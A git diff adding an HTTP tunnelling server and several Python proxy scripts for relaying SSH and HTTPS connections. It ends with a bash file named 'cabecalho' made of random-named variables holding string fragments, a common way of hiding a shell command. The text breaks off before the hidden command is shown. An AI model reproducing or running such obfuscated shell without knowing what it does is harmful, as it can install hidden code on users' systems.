Keep-Alive\r\n\r\n') + self.log('connection created - ' + str(id), Logger.LOG_INFO) + needClose = False + else: + self.log('client sends no valid target', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 Target!\r\nServer: GetTunnelServer\r\n\r\n') + + elif action == AcceptClient.ACTION_COMPLETE: + id = self.getHeaderVal(head, AcceptClient.HEADER_ID) + + if not id is None: + client = self.server.getClient(id) + + if not client is None: + client.writeSocket = self.socket + + self.log('connection completed - ' + str(id), Logger.LOG_INFO) + self.socket.sendall('HTTP/1.1 200 ' + AcceptClient.MSG_CONNECTION_COMPLETED + '\r\nServer: GetTunnelServer\r\nConnection: Keep-Alive\r\n\r\n') + + client.start() + needClose = False + else: + self.log('client try to complete non existing connection', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 CreateFirst!\r\nServer: GetTunnelServer\r\n\r\n') + else: + self.log('client sends no id header', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 NoID!\r\nServer: GetTunnelServer\r\n\r\n') + else: + self.log('client sends invalid action', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 InvalidAction!\r\nServer: GetTunnelServer\r\n\r\n') + + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + if needClose: + try: + self.socket.close() + except: + pass + + def log(self, msg, logLevel): + self.server.log(msg, logLevel) + + def readHttpRequest(self): + request = '' + linha = '' + count = 0 + + while linha != '\r\n' and count < AcceptClient.MAX_QTD_BYTES: + linha = self.readHttpLine() + + if linha is None: + break + + request += linha + count += len(linha) + + return request + + def readHttpLine(self): + line = '' + count = 0 + socket = self.socket + + b = socket.recv(1) + + if not b: + return None + + while count < AcceptClient.MAX_QTD_BYTES: + count += 1 + line += b + + if b == '\r': + b = socket.recv(1) + count += 1 + + if not b: + break + + line += b + + if b == '\n': + break + + b = socket.recv(1) + + if not b: + break + + if not b: + return None + + return line + + def getHeaderVal(self, head, header): + if not head.startswith('\r\n'): + header = '\r\n' + header + + if not header.endswith(': '): + header = header + ': ' + + ini = head.find(header) + + if ini == -1: + return None + + end = head.find('\r\n', ini+2) + + ini += len(header) + + if end == -1 or ini > end or ini >= len(head): + return None + + return head[ini:end] + + def readFully(self, n): + count = 0 + + while count < n: + packet = self.socket.recv(n - count) + + if not packet: + break + + count += len(packet) + + def isValidHostPort(self, hostPort): + aux = hostPort.find(':') + + if aux == -1 or aux >= len(hostPort) -1: + return False + + try: + int(hostPort[aux+1:]) + return True + except ValueError: + return False + + def generateId(self): + with AcceptClient.ID_LOCK: + AcceptClient.ID_COUNT += 1 + return AcceptClient.ID_COUNT + + + +class Server(threading.Thread): + + def __init__(self, listening, passwdSet=None): + super(Server, self).__init__() + self.listening = listening + self.passwdSet = passwdSet + self.running = False + self.logger = Logger() + self.isStopped = False + self.clientsLock = threading.Lock() + self.clients = [] + + def run(self): + try: + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.listening[:self.listening.find(':')], int(self.listening[self.listening.find(':') + 1:]))) + self.soc.listen(0) + + self.log('running on ' + self.listening, Logger.LOG_INFO) + + self.running = True + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + + self.log('opennig connection - ' + str(addr), Logger.LOG_INFO) + self.acceptClient(c) + except socket.timeout: + continue + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + self.running = False + self.close() + + def acceptClient(self, socket): + accept = AcceptClient(socket, self, self.passwdSet) + accept.start() + + def addClient(self, client): + with self.clientsLock: + self.clients.append(client) + + def removeClient(self, client): + with self.clientsLock: + self.clients.remove(client) + + def getClient(self, id): + client = None + with self.clientsLock: + for c in self.clients: + if str(c.id) == str(id): + client = c + break + return client + + def close(self): + if not self.isStopped: + self.isStopped = True + + if hasattr(self, 'soc'): + try: + self.soc.close() + except: + pass + + with self.clientsLock: + clientsCopy = self.clients[:] + + for c in clientsCopy: + c.close() + + self.log('closed', Logger.LOG_INFO) + + def log(self, msg, logLevel): + msg = 'Server: ' + msg + self.logger.printLog(msg, logLevel) + + + + +def print_usage(): + print '\nUsage : python get.py -b listening -p pass' + print 'Ex. : python get.py -b 0.0.0.0:80 -p pass123' + print ' : python get.py -b 0.0.0.0:80 -p passFile.pwd\n' + print '___Password file ex.:___' + print PasswordSet.FILE_EXEMPLE + +def parse_args(argv): + global CONFIG_LISTENING + global CONFIG_PASS + + try: + opts, args = getopt.getopt(argv, "hb:p:", ["bind=", "pass="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ('-b', '--bind'): + CONFIG_LISTENING = arg + elif opt in ('-p', '--pass'): + CONFIG_PASS = arg + +def main(): + print '\n-->GetTunnelPy - Server v.' + '25/06/2017' + '\n' + print '-->Listening: ' + CONFIG_LISTENING + + pwdSet = None + + if not CONFIG_PASS is None: + if CONFIG_PASS.endswith('.pwd'): + pwdSet = PasswordSet() + + try: + isValidFile = pwdSet.parseFile(CONFIG_PASS) + except IOError as e: + print '--#Error reading file: ' + str(type(e)) + ' - ' + str(e) + sys.exit() + + if not isValidFile: + print '--#Error on parsing file!\n' + print_usage() + return + + print '-->Pass file: ' + CONFIG_PASS + '\n' + else: + if (len(CONFIG_PASS) > 0): + print '-->Pass : yes\n' + pwdSet = PasswordSet(CONFIG_PASS) + else: + print '-->Pass : no\n' + + server = Server(CONFIG_LISTENING) + server.passwdSet = pwdSet + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print '<-> Stopping server...' + server.running = False + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() diff --git a/test/POpen.py b/test/POpen.py new file mode 100644 index 0000000..d706c1b --- /dev/null +++ b/test/POpen.py @@ -0,0 +1,313 @@ +#!/usr/bin/env python + +import sys +import httplib +from SocketServer import ThreadingMixIn +from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from cStringIO import StringIO +from urlparse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback + + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print >>sys.stderr, '-'*40 + print >>sys.stderr, 'Exception happened during processing of request from', client_address + traceback.print_exc() + print >>sys.stderr, '-'*40 + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + + req = self + reqbody = None + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + self.send_response(200, 'SOCKS5') + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in res.headers.items(): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except httplib.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = httplib.HTTPSConnection(netloc) + else: + conn = httplib.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + +# Port + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + if sys.argv[1:]: + port = int(sys.argv[1]) + else: + port = 80 + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print "Serving HTTP on", sa[0], "port", sa[1], "..." + httpd.serve_forever() + + +if __name__ == '__main__': + test() + diff --git a/test/PPriv.py b/test/PPriv.py new file mode 100644 index 0000000..83a4687 --- /dev/null +++ b/test/PPriv.py @@ -0,0 +1,335 @@ +#!/usr/bin/env python + +# -*- coding: utf-8 -*- +# Edit By GlEmYsSoN & @e8th4ever + +from pprint import pprint +import sys +import http.client +from socketserver import ThreadingMixIn +from http.server import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from io import StringIO +from urllib.parse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback +import subprocess +subprocess.call("clear",shell=True) + +if sys.argv[2:]: + msg1 = sys.argv[2] +else: + msg1 = 'ADM-ULTIMATE' + +if sys.argv[3:]: + server = sys.argv[3] +else: + server = "127.0.0.1" + +msg2 = 'Server Forbidden' + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print('-'*40, file=sys.stderr) + print('Exception happened during processing of request from', client_address, file=sys.stderr) + traceback.print_exc() + print('-'*40, file=sys.stderr) + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + req = self + reqbody = None + if ':22' in req.path: + hostip = req.path.replace(':22', '') + elif ':443' in req.path: + hostip = req.path.replace(':443', '') + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + + self.send_response(200, msg1) + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + if not server.find(hostip) != -1: + self.send_error(403, msg2) + self.close_connection + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in list(res.headers.items()): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except http.client.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = http.client.HTTPSConnection(netloc) + else: + conn = http.client.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + + + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + port = int(sys.argv[1]) + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print("Servidor: " + str(sa[0]) + " Porta " + str(sa[1])) + httpd.serve_forever() + + +if __name__ == '__main__': + test() diff --git a/test/PPub.py b/test/PPub.py new file mode 100644 index 0000000..572ec97 --- /dev/null +++ b/test/PPub.py @@ -0,0 +1,318 @@ +#!/usr/bin/env python + +import sys +import httplib +from SocketServer import ThreadingMixIn +from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from cStringIO import StringIO +from urlparse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback + +if sys.argv[2:]: + msg1 = sys.argv[2] +else: + msg1 = "ADM-ULTIMATE" + + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print >>sys.stderr, '-'*40 + print >>sys.stderr, 'Exception happened during processing of request from', client_address + traceback.print_exc() + print >>sys.stderr, '-'*40 + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + + req = self + reqbody = None + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + self.send_response(200, msg1) + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in res.headers.items(): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except httplib.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = httplib.HTTPSConnection(netloc) + else: + conn = httplib.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + + + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + if sys.argv[1:]: + port = int(sys.argv[1]) + else: + port = 8799 + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print "Serving HTTP on", sa[0], "port", sa[1], "..." + httpd.serve_forever() + + +if __name__ == '__main__': + test() + diff --git a/test/cabecalho b/test/cabecalho new file mode 100755 index 0000000..41abdbf --- /dev/null +++ b/test/cabecalho @@ -0,0 +1,2 @@ +#!/bin/bash +esrMKTBDYNKRNqVMtszkAPGocyNLIJEGWOeRvnerSrqacsLyABVLucifJtcjxmRHXBGDgacQwkXmYRmBrdWoJAeihOwBPqHncfrI="JBPIXsjeKKHCnZgWHujuxhgnoacUdmJUGgKkrZiyoiVrzrgUZeoDydbBntBFRjUAPVSGuFeTkrXMHKKKqUJbFdTeRJACkLlFXMnc";DfFmrRsaZXImxkmoksqaJlbMBdhdLzjXvNtShvJHMOvlYwoYSNyKWxxDZEnlzrSyqeVvvsXYDaiZrZqwkdHAvlbRpyBVFXkstYDt="KTwFfDIFQToDHYMuGrpQNpIlUGYygksrPiUHizAzyWFFvyFfxbciuIHSOrLlsILMHmtAnERfVYvuxgSJBKhvfxGqIrZPWEaBuIhq";qKCQynhqshGdUbIGBbSMQXSvLmcMLBJwNzwSYCLcqfyMMhegAFRhGEPsXxfHDJHNVkRwctHnZDPyKOzmOXmhRXLNpZlMIahpuuvV="ch";PMQjaJDurPRVnQmhvbppBJxoJrVhPtZbGTvSFbcTZIfrcBCfmmAOcaCjKIzLHqRIsupIHDNFDXfquStKxlRPahWaqrPFXBkIoGBa="4";qHbfQBxOubKAvTtnLOLVfXdsTPwTURuzZBNfxGgTxtzDDChhvUPYpNjyAxfNeeMTrLkNgjQNCLJQeIhMthAFiGjwbswrefiUhggo="";TtkTWKgBpSNXsHwMSUuFnssNVmoyXTwYhvseTgIZotjiNQwRPlOLDELWPgdUnphGeSdBdCYfPPWOkSDiRhFKsIGvSBdrJkFlwDWY="MELiyNNQvtDacGtAsPraDRtWMKriCYLmcYyfSuAuNnNVTPIAeXhwxJKnXPtaneDHipuZdiLyBpFKkvOQjQiPdphfhuVEWFWtgaUQ";ScCXHocABljLIUsOsKHBPxVDeshyHZCZoWASVKjDpweodYTXIlJzASehZKkErcukjXYeZBjjRRktpuWaBAykuZVWmFvPIvcHVFzJ=" 